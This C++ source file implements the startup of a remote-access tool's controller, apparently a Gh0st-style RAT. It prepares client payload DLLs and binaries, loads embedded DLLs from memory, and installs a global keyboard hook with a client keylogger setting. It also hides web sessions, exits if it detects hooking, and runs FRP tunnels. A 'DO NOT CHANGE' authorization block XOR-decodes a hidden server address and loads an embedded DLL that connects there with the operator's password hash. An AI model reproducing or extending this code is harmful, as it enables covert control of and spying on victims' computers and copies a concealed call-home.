|
||
BOOL CMy2015RemoteDlg::OnInitDialog()
|
||
{
|
||
#define UPDATE_SPLASH(percent, text) \
|
||
do { \
|
||
CSplashDlg* pSplash = THIS_APP->GetSplash(); \
|
||
if (pSplash && pSplash->GetSafeHwnd()) { \
|
||
pSplash->UpdateProgressDirect(percent, _TR(text)); \
|
||
} \
|
||
} while(0)
|
||
|
||
Mprintf("Program upper master is: %s\n", getUpperHash().c_str());
|
||
|
||
const char *env = getenv(BRAND_ENV_VAR);
|
||
m_superPass = env ? env : THIS_CFG.GetStr("settings", "superAdmin");
|
||
if (m_superPass.empty()) {
|
||
PostMessage(WM_SHOWMESSAGE, WPARAM(new CharMsg(_TR("请设置环境变量 " BRAND_ENV_VAR " 来给下级授权"))), 0);
|
||
}
|
||
AUTO_TICK(500, "");
|
||
__super::OnInitDialog();
|
||
|
||
InitializeCriticalSection(&m_DllRateLimitLock); // DLL 请求限流
|
||
|
||
// 添加 WS_CLIPCHILDREN 样式,防止父窗口重绘时覆盖子控件,减少闪烁
|
||
ModifyStyle(0, WS_CLIPCHILDREN);
|
||
|
||
UPDATE_SPLASH(15, "正在注册主控信息...");
|
||
THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd()));
|
||
|
||
// SN generation with backward compatibility:
|
||
// - Existing users (have SN): keep original SN unchanged
|
||
// - New users: use V2 (includes UUID + MachineGuid for VPS uniqueness)
|
||
std::string existingSN = THIS_CFG.GetStr("settings", "SN", "");
|
||
if (existingSN.empty()) {
|
||
THIS_CFG.SetStr("settings", "SN", getDeviceID(getHardwareID_V2()));
|
||
THIS_CFG.SetInt("settings", "HWIDVersion", 2);
|
||
}
|
||
|
||
THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
|
||
THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
|
||
THIS_CFG.SetStr("settings", "Version", VERSION_STR);
|
||
|
||
m_IPConverter->GetLocalIPs(m_localPublicIP, m_localPrivateIP);
|
||
|
||
// Start Web Remote Control service (includes file download at /payloads/*)
|
||
UPDATE_SPLASH(16, "正在启动Web远程服务...");
|
||
auto webSvrPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||
if (webSvrPort > 0) {
|
||
WebService().SetParentDlg(this);
|
||
// Use master password as web login password
|
||
if (!m_superPass.empty()) {
|
||
WebService().SetAdminPassword(m_superPass);
|
||
} else {
|
||
Mprintf("[WebService] Warning: No master password set, web login disabled\n");
|
||
}
|
||
// HideWebSessions: 1=hide (default), 0=show (for debugging)
|
||
WebService().SetHideWebSessions(THIS_CFG.GetInt("settings", "HideWebSessions", 1) != 0);
|
||
if (!WebService().Start(webSvrPort)) {
|
||
Mprintf("WebService start failed on port %d\n", webSvrPort);
|
||
} else {
|
||
Mprintf("WebService started on port %d (HideWebSessions=%d)\n",
|
||
webSvrPort, WebService().GetHideWebSessions() ? 1 : 0);
|
||
}
|
||
}
|
||
|
||
UPDATE_SPLASH(18, "正在初始化文件上传模块...");
|
||
int ret = InitFileUpload({}, {}, GetHMAC(), 64, 50, Logf, GetUpperHash());
|
||
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
|
||
|
||
UPDATE_SPLASH(20, "正在加载IP数据库...");
|
||
int locType = THIS_CFG.GetInt("settings", "IPLocType", 0);
|
||
char path[MAX_PATH] = {};
|
||
GetModuleFileNameA(NULL, path, MAX_PATH);
|
||
switch (locType) {
|
||
case QQWry:
|
||
GET_FILEPATH(path, "qqwry.dat");
|
||
m_IPConverter = LoadFileQQWry(path);
|
||
break;
|
||
case Ip2Region:
|
||
GET_FILEPATH(path, "ip2region_v4.xdb");
|
||
m_IPConverter = LoadFileIp2Region(path);
|
||
break;
|
||
}
|
||
m_HasLocDB = m_IPConverter != nullptr;
|
||
if (!m_HasLocDB) {
|
||
m_IPConverter = new IPConverter(); //default
|
||
}
|
||
Mprintf("IP数据库加载: %s\n", m_HasLocDB ? "succeed" : "failed");
|
||
|
||
UPDATE_SPLASH(25, "正在初始化视频墙...");
|
||
m_GroupList = {"default"};
|
||
// Grid 容器
|
||
int size = THIS_CFG.GetInt("settings", "VideoWallSize");
|
||
size = max(size, 1);
|
||
if (size > 1) {
|
||
m_gridDlg = new CGridDialog();
|
||
m_gridDlg->Create(IDD_GRID_DIALOG, GetDesktopWindow());
|
||
m_gridDlg->ShowWindow(SW_HIDE);
|
||
m_gridDlg->SetGrid(size, size);
|
||
}
|
||
|
||
UPDATE_SPLASH(30, "正在验证配置...");
|
||
if (!IsPwdHashValid()) {
|
||
THIS_CFG.SetStr("settings", "superAdmin", "");
|
||
THIS_CFG.SetStr("settings", "Password", "");
|
||
THIS_CFG.SetInt("settings", "MaxConnection", 2);
|
||
THIS_APP->UpdateMaxConnection(2);
|
||
}
|
||
if (hashSHA256(m_superPass) != GetPwdHash()) {
|
||
m_superPass.clear();
|
||
THIS_CFG.SetStr("settings", "superAdmin", "");
|
||
}
|
||
|
||
UPDATE_SPLASH(35, "正在加载客户端数据库...");
|
||
// 将"关于..."菜单项添加到系统菜单中。
|
||
SetWindowText(BRAND_APP_NAME_W);
|
||
m_ClientMap->LoadFromFile(GetDbPath());
|
||
|
||
// Initialize notification manager
|
||
GetNotifyManager().Initialize();
|
||
|
||
// IDM_ABOUTBOX 必须在系统命令范围内。
|
||
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
|
||
ASSERT(IDM_ABOUTBOX < 0xF000);
|
||
|
||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||
if (pSysMenu != NULL) {
|
||
CString strAboutMenu = _TR("关于") + _T(" ") + BRAND_APP_NAME_W + _T("(&A)...");
|
||
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
|
||
pSysMenu->AppendMenuL(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
|
||
}
|
||
|
||
UPDATE_SPLASH(40, "正在加载授权模块...");
|
||
// 主控程序公网IP
|
||
std::string ip = THIS_CFG.GetStr("settings", "master", "");
|
||
if (ip.empty()) {
|
||
ip = m_IPConverter ? m_IPConverter->getPublicIP() : "";
|
||
THIS_CFG.SetStr("settings", "master", ip);
|
||
}
|
||
if (ip.empty()) {
|
||
THIS_APP->MessageBoxL("请通过菜单设置公网地址!", "提示", MB_ICONINFORMATION);
|
||
}
|
||
int port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
|
||
int webSvrPortCheck = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||
if (webSvrPortCheck > 0 && webSvrPortCheck == port) {
|
||
THIS_APP->MessageBoxL("监听端口和Web服务端口冲突!", "提示", MB_ICONINFORMATION);
|
||
}
|
||
std::string master = ip.empty() ? "" : ip + ":" + std::to_string(port);
|
||
const Validation* v = GetValidation();
|
||
if (!(strlen(v->Admin) && v->Port > 0)) {
|
||
// IMPORTANT: For authorization only.
|
||
// DO NOT CHANGE: The program may not work if following code changed.
|
||
PrintableXORCipher cipher;
|
||
char buf1[] = { "? &!x1:x<!{<6 " }, buf2[] = { 'a','a','f',0 };
|
||
cipher.process(buf1, strlen(buf1));
|
||
cipher.process(buf2, strlen(buf2));
|
||
static Validation test(99999, buf1, atoi(buf2));
|
||
v = &test;
|
||
}
|
||
if (strlen(v->Admin) && v->Port > 0) {
|
||
DWORD size = 0;
|
||
LPBYTE data = ReadResource(sizeof(void*) == 8 ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, size);
|
||
if (data) {
|
||
int offset = MemoryFind((char*)data, FLAG_FINDEN, size, strlen(FLAG_FINDEN));
|
||
if (offset != -1) {
|
||
CONNECT_ADDRESS* p = (CONNECT_ADDRESS*)(data + offset);
|
||
p->SetServer(v->Admin, v->Port);
|
||
p->SetAdminId(GetMasterHash().c_str());
|
||
p->iType = CLIENT_TYPE_MEMDLL;
|
||
p->parentHwnd = (uint64_t)GetSafeHwnd();
|
||
memcpy(p->pwdHash, GetPwdHash().c_str(), 64);
|
||
m_tinyDLL = MemoryLoadLibrary(data, size);
|
||
}
|
||
SAFE_DELETE_ARRAY(data);
|
||
}
|
||
}
|
||
|
||
// 获取有效地址(优先使用上级FRP配置)
|
||
std::string effectiveIP;
|
||
int effectivePort;
|
||
if (GetEffectiveMasterAddress(effectiveIP, effectivePort)) {
|
||
master = effectiveIP + ":" + std::to_string(effectivePort);
|
||
}
|
||
|
||
UPDATE_SPLASH(50, "正在加载内核模块 (x86 DLL)...");
|
||
g_2015RemoteDlg = this;
|
||
m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false, true, master);
|
||
|
||
UPDATE_SPLASH(55, "正在加载内核模块 (x64 DLL)...");
|
||
m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true, true, master);
|
||
|
||
UPDATE_SPLASH(60, "正在加载内核模块 (x86 Bin)...");
|
||
m_ServerBin[PAYLOAD_DLL_X86] = ReadKernelDll(false, false, master);
|
||
|
||
UPDATE_SPLASH(65, "正在加载内核模块 (x64 Bin)...");
|
||
m_ServerBin[PAYLOAD_DLL_X64] = ReadKernelDll(true, false, master);
|
||
|
||
UPDATE_SPLASH(67, "正在加载内核模块 (x86 TinyRun)...");
|
||
m_TinyRun[PAYLOAD_DLL_X86] = ReadKernelDll(false, true, master, true);
|
||
|
||
UPDATE_SPLASH(69, "正在加载内核模块 (x64 TinyRun)...");
|
||
m_TinyRun[PAYLOAD_DLL_X64] = ReadKernelDll(true, true, master, true);
|
||
|
||
// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
|
||
// 执行此操作
|
||
SetIcon(m_hIcon, TRUE); // 设置大图标
|
||
SetIcon(m_hIcon, FALSE); // 设置小图标
|
||
|
||
UPDATE_SPLASH(70, "正在创建工具栏...");
|
||
// TODO: 在此添加额外的初始化代码
|
||
isClosed = FALSE;
|
||
|
||
CreateToolBar();
|
||
InitControl();
|
||
|
||
UPDATE_SPLASH(75, "正在创建界面组件...");
|
||
CreatStatusBar();
|
||
CreateNotifyBar();
|
||
CreateSolidMenu();
|
||
|
||
UPDATE_SPLASH(80, "正在加载配置...");
|
||
std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543");
|
||
m_nMaxConnection = 2;
|
||
std::string pwd = THIS_CFG.GetStr("settings", "Password");
|
||
auto arr = StringToVector(pwd, '-', 6);
|
||
if (arr.size() == 7) {
|
||
m_nMaxConnection = atoi(arr[2].c_str());
|
||
} else {
|
||
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
|
||
m_nMaxConnection = nMaxConnection <= 0 ? 10000 : nMaxConnection;
|
||
}
|
||
std::map<std::string, std::string> udpMap = { {"UDP", "0"}, {"KCP", "1"}};
|
||
std::string method = THIS_CFG.GetStr("settings", "UDPOption", "UDP");
|
||
method = udpMap.find(method) == udpMap.end() ? "0" : udpMap[method];
|
||
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
|
||
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
|
||
int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
|
||
m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
|
||
auto w = THIS_CFG.GetStr("settings", "wallet", "");
|
||
memcpy(m_settings.WalletAddress, w.c_str(), w.length());
|
||
m_settings.EnableKBLogger = THIS_CFG.GetInt("settings", "KeyboardLog", 0);
|
||
m_settings.EnableLog = THIS_CFG.GetInt("settings", "EnableLog", 0);
|
||
strcpy(m_settings.FeedbackUrl, THIS_CFG.GetStr("settings", "FeedbackUrl", BRAND_URL_FEEDBACK).c_str());
|
||
strcpy(m_settings.HelpUrl, THIS_CFG.GetStr("settings", "HelpUrl", BRAND_URL_WIKI).c_str());
|
||
strcpy(m_settings.RequestAuthUrl, THIS_CFG.GetStr("settings", "RequestAuthUrl", BRAND_URL_REQUEST_AUTH).c_str());
|
||
strcpy(m_settings.GetPluginUrl, THIS_CFG.GetStr("settings", "GetPluginUrl", BRAND_URL_GET_PLUGIN).c_str());
|
||
m_bEnableFileV2 = THIS_CFG.GetInt("settings", "EnableFileV2", 0) != 0;
|
||
m_runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
|
||
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||
if (SubMenu) {
|
||
SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
|
||
m_needNotify = THIS_CFG.GetInt("settings", "LoginNotify", 0);
|
||
SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, m_needNotify ? MF_CHECKED : MF_UNCHECKED);
|
||
SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED);
|
||
SubMenu->CheckMenuItem(ID_PARAM_FILE_V2, m_bEnableFileV2 ? MF_CHECKED : MF_UNCHECKED);
|
||
|
||
// 互斥逻辑:三种模式 (RunNormal: 0=服务+SYSTEM, 1=普通模式, 2=服务+User)
|
||
if (m_runNormal == 0) {
|
||
// 服务+SYSTEM模式:勾选"守护主控程序"
|
||
SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_CHECKED);
|
||
SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_UNCHECKED);
|
||
}
|
||
else if (m_runNormal == 1) {
|
||
// 普通模式:两个都不勾选
|
||
SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_UNCHECKED);
|
||
SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_UNCHECKED);
|
||
}
|
||
else if (m_runNormal == 2) {
|
||
// 服务+User模式:勾选"降权运行"
|
||
SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_UNCHECKED);
|
||
SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_CHECKED);
|
||
}
|
||
|
||
m_bHookWIN = THIS_CFG.GetInt("settings", "HookWIN", 0);
|
||
SubMenu->CheckMenuItem(ID_HOOK_WIN, m_bHookWIN ? MF_CHECKED : MF_UNCHECKED);
|
||
|
||
std::string wallpaper = THIS_CFG.GetStr("settings", "Wallpaper", "");
|
||
m_PrivateScreenWallpaper = wallpaper.c_str();
|
||
SubMenu->CheckMenuItem(ID_PARAM_PRIVACY_WALLPAPER, !m_PrivateScreenWallpaper.IsEmpty() ? MF_CHECKED : MF_UNCHECKED);
|
||
}
|
||
// 查找IP定位子菜单并设置勾选状态
|
||
SubMenu = FindSubMenuByCommand(m_MainMenu.GetSubMenu(3), ID_LOCATION_QQWRY);
|
||
if (SubMenu) {
|
||
SubMenu->CheckMenuItem(ID_LOCATION_QQWRY, locType == QQWry ? MF_CHECKED : MF_UNCHECKED);
|
||
SubMenu->CheckMenuItem(ID_LOCATION_IP2REGION, locType == Ip2Region ? MF_CHECKED : MF_UNCHECKED);
|
||
}
|
||
|
||
// V2 私钥状态检查
|
||
SubMenu = m_MainMenu.GetSubMenu(1); // 工具菜单
|
||
if (SubMenu) {
|
||
std::string v2Key = THIS_CFG.GetStr("settings", "V2PrivateKey", "");
|
||
m_v2KeyPath = v2Key;
|
||
bool v2KeyValid = !v2Key.empty() && GetFileAttributesA(v2Key.c_str()) != INVALID_FILE_ATTRIBUTES;
|
||
SubMenu->CheckMenuItem(ID_TOOL_V2_PRIVATEKEY, v2KeyValid ? MF_CHECKED : MF_UNCHECKED);
|
||
SubMenu->EnableMenuItem(ID_TOOL_V2_PRIVATEKEY, GetMasterHash() == GetPwdHash() ? MF_ENABLED : MF_GRAYED);
|
||
}
|
||
|
||
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, std::string(_TR("摄像头"))}, {SOFTWARE_TELEGRAM, std::string(_TR("电报")) }};
|
||
std::string str = myMap[n];
|
||
LVCOLUMN lvColumn;
|
||
memset(&lvColumn, 0, sizeof(LVCOLUMN));
|
||
lvColumn.mask = LVCF_TEXT;
|
||
lvColumn.pszText = (char*)str.data();
|
||
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
|
||
timeBeginPeriod(1);
|
||
if (IsFunctionReallyHooked("user32.dll","SetTimer") || IsFunctionReallyHooked("user32.dll", "KillTimer")) {
|
||
THIS_APP->MessageBox(_TR("FUCK!!! 请勿HOOK此程序!"), _TR("提示"), MB_ICONERROR);
|
||
ExitProcess(-1);
|
||
return FALSE;
|
||
}
|
||
int tm = THIS_CFG.GetInt("settings", "Notify", 10);
|
||
tm = min(tm, 10);
|
||
#ifdef _DEBUG
|
||
SetTimer(TIMER_CHECK, max(1, tm) * 1000, NULL);
|
||
#else
|
||
SetTimer(TIMER_CHECK, max(1, tm) * 60 * 1000, NULL);
|
||
#endif
|
||
SetTimer(TIMER_HEARTBEAT_CHECK, 30 * 1000, NULL);
|
||
SetTimer(TIMER_REFRESH_LIST, 1000, NULL);
|
||
|
||
// 初始化状态栏统计
|
||
m_ullStartTime = GetTickCount64();
|
||
if (!pwd.empty()) {
|
||
std::string expireDate = ParseExpireDateFromPasscode(pwd);
|
||
m_strExpireDate = expireDate.c_str();
|
||
}
|
||
SetTimer(TIMER_STATUSBAR_UPDATE, 60 * 1000, NULL); // 每分钟更新
|
||
UpdateStatusBarStats(); // 立即更新一次
|
||
|
||
UPDATE_SPLASH(85, "正在启动FRP代理...");
|
||
#ifdef _WIN64
|
||
if (InitLocalFrpsServer()) { // 本地 FRPS 服务器 (仅 64 位,需先于 FRPC 启动)
|
||
Sleep(500); // 等待 FRPS 启动完成
|
||
}
|
||
#endif
|
||
InitFrpClients();
|
||
InitFrpcAuto(); // FRP 自动代理(由上级提供配置)
|
||
|
||
UPDATE_SPLASH(90, "正在启动网络服务...");
|
||
// 最后启动SOCKET
|
||
if (!Activate(nPort, m_nMaxConnection, method)) {
|
||
CloseSplash();
|
||
OnCancel();
|
||
return FALSE;
|
||
}
|
||
|
||
UPDATE_SPLASH(100, "启动完成!");
|
||
CloseSplash();
|
||
Mprintf("主控程序启动完成: PwdHash= %s HMAC= %s. UpperHash= %s\n", GetPwdHash().c_str(), GetHMAC().c_str(), GetUpperHash().c_str());
|
||
|
||
// 延迟初始化状态栏(等待窗口完全显示后再设置分区宽度)
|
||
SetTimer(TIMER_STATUSBAR_INIT, 100, NULL);
|
||
|
||
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
|
||
}
|
||
|
||
// FRP 线程参数
|
||
struct FrpThreadParam {
|
||
CMy2015RemoteDlg* dlg;
|
||
int index;
|
||
};
|
||
|
||
DWORD WINAPI CMy2015RemoteDlg::StartFrpClient(LPVOID param)
|
||
{
|
||
FrpThreadParam* p = (FrpThreadParam*)param;
|
||
CMy2015RemoteDlg* This = p->dlg;
|
||
int idx = p->index;
|
||
delete p;
|
||
|
||
if (idx < 0 || idx >= (int)This->m_frpInstances.size()) {
|
||
Mprintf("[FRP-%d] Invalid instance index\n", idx);
|
||
return -1;
|
||
}
|
||
|
||
auto& inst = This->m_frpInstances[idx];
|
||
|
||
// 生成配置文件路径 (index=0 使用 frpc.ini 保持兼容)
|
||
std::string cfgPath = GetFrpSettingsPath();
|
||
if (idx > 0) {
|
||
if (cfgPath.size() > 4 && cfgPath.substr(cfgPath.size() - 4) == ".ini") {
|
||
cfgPath = cfgPath.substr(0, cfgPath.size() - 4);
|
||
}
|
||
cfgPath += "." + std::to_string(idx) + ".ini";
|
||
}
|
||
|
||
Mprintf("[FRP-%d] Config: %s, Server: %s\n", idx, cfgPath.c_str(), inst.serverAddr.c_str());
|
||
|
||
if (This->m_frpRun == nullptr) {
|
||
Mprintf("[FRP-%d] m_frpRun is null\n", idx);
|
||
return -1;
|
||
}
|
||
|
||
Mprintf("[FRP-%d] Calling m_frpRun...\n", idx);
|
||
int n = 0;
|
||
do {
|
||
inst.status = STATUS_RUN;
|
||
n = This->m_frpRun((char*)cfgPath.c_str(), &inst.status);
|
||
if (n) {
|
||
Mprintf("[FRP-%d] Connection failed: %d\n", idx, n);
|
||
WAIT_n(!This->isClosed, 10, 1000);
|
||
if (This->isClosed) break;
|
||
}
|
||
} while (n);
|
||
|
||
inst.hThread = NULL;
|
||
Mprintf("[FRP-%d] Thread stopped\n", idx);
|
||
|
||
return n;
|
||
}
|
||
|
||
// 检测当前系统是否支持 FRP 功能
|
||
// 返回: true=支持, false=不支持
|
||
// logPrefix: 日志前缀(如 "[FRP]" 或 "[FRP-Auto]"),为空则不打印日志
|
||
static bool IsFrpSupported(const char* logPrefix = nullptr)
|
||
{
|
||
#ifndef _WIN64
|
||
if (logPrefix) {
|
||
Mprintf("%s 32位版本不支持 FRP 功能\n", logPrefix);
|
||
}
|
||
return false;
|
||
#endif
|
||
|
||
// 检测 Windows 版本,frpc.dll 使用 Go 1.21+ 编译,需要 Windows 10 或更高版本
|
||
// 使用 RtlGetVersion 获取真实版本号(不受 manifest 影响)
|
||
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||
RTL_OSVERSIONINFOW osvi = { sizeof(osvi) };
|
||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||
if (hNtdll) {
|
||
RtlGetVersionPtr pRtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hNtdll, "RtlGetVersion");
|
||
if (pRtlGetVersion) pRtlGetVersion(&osvi);
|
||
}
|
||
|
||
if (osvi.dwMajorVersion < 10) {
|
||
if (logPrefix) {
|
||
Mprintf("%s 当前系统版本 %d.%d,低于 Windows 10,不支持 FRP 功能\n",
|
||
logPrefix, osvi.dwMajorVersion, osvi.dwMinorVersion);
|
||
}
|
||
return false;
|
||
}
|
||
|
||
return true;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::InitFrpClients()
|
||
{
|
||
// 显示初始化消息
|
||
#ifdef _WIN64
|
||
int usingFRP = THIS_CFG.GetInt("frp", "UseFrp");
|
||
#else
|
||
int usingFRP = 0;
|
||
#endif
|
||
|
||
// 检查是否有上级配置的 FRP
|
||
std::string frpConfigStr = THIS_CFG.GetStr("settings", "FrpConfig", "");
|
||
std::string frpAutoServer = THIS_CFG.GetStr("frp_auto", "server", "");
|
||
int frpAutoPort = THIS_CFG.GetInt("frp_auto", "remotePort", 0);
|
||
bool hasUpperFrp = !frpConfigStr.empty() || (!frpAutoServer.empty() && frpAutoPort > 0);
|
||
std::string ip = THIS_CFG.GetStr("settings", "master", "");
|
||
|
||
CString tip;
|
||
if (hasUpperFrp) {
|
||
// 使用上级配置的 FRP,无需关心公网 IP
|
||
tip = _L("使用上级配置的FRP代理");
|
||
} else {
|
||
std::string firstIP = GetFirstMasterIP(ip);
|
||
tip = !ip.empty() && firstIP != m_IPConverter->getPublicIP() ?
|
||
CString(ip.c_str()) + _L(" 必须是\"公网IP\"或反向代理服务器IP") :
|
||
_L("请设置\"公网IP\",或使用反向代理服务器的IP");
|
||
tip += usingFRP ? _TR("[使用FRP]") : _TR("[未使用FRP]");
|
||
}
|
||
CharMsg* msg = new CharMsg(tip);
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
|
||
|
||
auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang");
|
||
langDir = langDir.empty() ? "./lang" : langDir;
|
||
if (!PathFileExists(langDir.c_str())) {
|
||
CharMsg* msg = new CharMsg(_TR("请通过\"扩展\"菜单指定语言包目录以支持多语言"));
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
|
||
}
|
||
if (!m_HasLocDB) {
|
||
CharMsg* msg = new CharMsg(_TR("请将IP数据库文件放于当前程序目录"));
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
|
||
}
|
||
|
||
if (!m_superPass.empty() && GetUpperHash() == GetPwdHash()) {
|
||
// 检查 V2 私钥配置
|
||
std::string v2KeyPath = m_v2KeyPath;
|
||
if (v2KeyPath.empty()) {
|
||
CharMsg* msg = new CharMsg(_TR("V2私钥未配置,请通过\"工具→V2私钥设置\"菜单选择私钥文件"));
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
|
||
}
|
||
else if (GetFileAttributesA(v2KeyPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
|
||
std::string tip = std::string(_TR("V2私钥文件不存在: ")) + v2KeyPath;
|
||
CharMsg* msg = new CharMsg(tip.c_str());
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
|
||
}
|
||
}
|
||
|
||
usingFRP = ip.empty() ? 0 : usingFRP;
|
||
if (!usingFRP) return;
|
||
|
||
// 检测系统是否支持 FRP(64位 + Windows 10+)
|
||
if (!IsFrpSupported("[FRP]")) {
|
||
CharMsg* msg = new CharMsg(_TR("FRP 功能需要 64 位 Windows 10 或更高版本"));
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
|
||
return;
|
||
}
|
||
|
||
// 加载 FRP DLL(只加载一次)
|
||
DWORD size = 0;
|
||
LPBYTE frpcData = ReadResource(IDR_BINARY_FRPC, size);
|
||
if (frpcData == nullptr) {
|
||
Mprintf("[FRP] Failed to read FRP DLL\n");
|
||
return;
|
||
}
|
||
m_hFrpDll = MemoryLoadLibrary(frpcData, size);
|
||
SAFE_DELETE_ARRAY(frpcData);
|
||
if (m_hFrpDll == NULL) {
|
||
Mprintf("[FRP] Failed to load FRP DLL\n");
|
||
return;
|
||
}
|
||
m_frpRun = (FrpRunFunc)MemoryGetProcAddress(m_hFrpDll, "Run");
|
||
if (!m_frpRun) {
|
||
Mprintf("[FRP] Failed to get FRP function\n");
|
||
return;
|
||
}
|
||
|
||
// 解析多个服务端地址
|
||
auto servers = StringToVector(ip, ';');
|
||
Mprintf("[FRP] Starting %d connections\n", (int)servers.size());
|
||
|
||
// 先添加所有实例(避免 vector 重新分配导致的竞争问题)
|
||
m_frpInstances.reserve(servers.size());
|
||
for (size_t i = 0; i < servers.size(); ++i) {
|
||
FrpInstance inst;
|
||
inst.serverAddr = servers[i];
|
||
inst.status = STATUS_RUN;
|
||
m_frpInstances.push_back(inst);
|
||
}
|
||
|
||
// 再创建所有线程
|
||
for (size_t i = 0; i < m_frpInstances.size(); ++i) {
|
||
FrpThreadParam* param = new FrpThreadParam{ this, (int)i };
|
||
m_frpInstances[i].hThread = CreateThread(NULL, 0, StartFrpClient, param, 0, NULL);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::StopAllFrpClients()
|
||
{
|
||
if (m_frpInstances.empty()) {
|
||
Mprintf("[FRP] No instances to stop\n");
|
||
return;
|
||
}
|
||
|
||
// 通知所有实例退出
|
||
for (size_t i = 0; i < m_frpInstances.size(); ++i) {
|
||
m_frpInstances[i].status = STATUS_EXIT;
|
||
}
|
||
|
||
// 等待所有线程结束
|
||
for (size_t i = 0; i < m_frpInstances.size(); ++i) {
|
||
while (m_frpInstances[i].hThread) {
|
||
Sleep(20);
|
||
}
|
||
}
|
||
|
||
m_frpInstances.clear();
|
||
Mprintf("[FRP] All connections stopped\n");
|
||
// 注意:不释放 m_hFrpDll,会导致崩溃
|
||
}
|
||
|
||
//////////////////////////////////////////////////////////////////////////
|
||
// 本地 FRPS 服务器 (仅 64 位支持)
|
||
//////////////////////////////////////////////////////////////////////////
|
||
|
||
#ifdef _WIN64
|
||
bool CMy2015RemoteDlg::InitLocalFrpsServer()
|
||
{
|
||
// 检查是否启用本地 FRPS
|
||
FrpsConfig config = CFrpsForSubDlg::GetFrpsConfig();
|
||
if (!config.enabled || !config.localFrps) {
|
||
Mprintf("[FRPS] Local FRPS not enabled\n");
|
||
return false;
|
||
}
|
||
|
||
// 检测系统是否支持 FRPS(64位 + Windows 10+)
|
||
if (!IsFrpSupported("[FRPS]")) {
|
||
CharMsg* msg = new CharMsg(_TR("FRP 功能需要 64 位 Windows 10 或更高版本"));
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
|
||
return false;
|
||
}
|
||
|
||
if (config.token.empty() || config.port <= 0) {
|
||
Mprintf("[FRPS] Invalid config: token empty or port invalid\n");
|
||
return false;
|
||
}
|
||
|
||
// 加载 FRPS DLL
|
||
DWORD size = 0;
|
||
LPBYTE frpsData = ReadResource(IDR_BINARY_FRPS, size);
|
||
if (frpsData == nullptr) {
|
||
Mprintf("[FRPS] Failed to read FRPS DLL from resource\n");
|
||
return false;
|
||
}
|
||
|
||
m_hFrpsDll = MemoryLoadLibrary(frpsData, size);
|
||
SAFE_DELETE_ARRAY(frpsData);
|
||
if (m_hFrpsDll == NULL) {
|
||
Mprintf("[FRPS] Failed to load FRPS DLL\n");
|
||
return false;
|
||
}
|
||
|
||
m_frpsRunSimpleWithToken = (FrpsRunSimpleWithTokenFunc)MemoryGetProcAddress(m_hFrpsDll, "RunSimpleWithToken");
|
||
if (!m_frpsRunSimpleWithToken) {
|
||
Mprintf("[FRPS] Failed to get RunSimpleWithToken function\n");
|
||
// 注意:不释放 Go DLL,运行时已启动,释放会崩溃
|
||
return false;
|
||
}
|
||
|
||
// 启动 FRPS 服务器线程
|
||
m_frpsStatus = STATUS_RUN;
|
||
m_hFrpsThread = CreateThread(NULL, 0, StartLocalFrpsServer, this, 0, NULL);
|
||
if (m_hFrpsThread == NULL) {
|
||
Mprintf("[FRPS] Failed to create FRPS thread\n");
|
||
m_frpsStatus = STATUS_UNKNOWN;
|
||
// 注意:不释放 Go DLL,会导致崩溃
|
||
return false;
|
||
}
|
||
|
||
Mprintf("[FRPS] Local FRPS server starting on port %d\n", config.port);
|
||
|
||
return true;
|
||
}
|
||
|
||
DWORD WINAPI CMy2015RemoteDlg::StartLocalFrpsServer(LPVOID param)
|
||
{
|
||
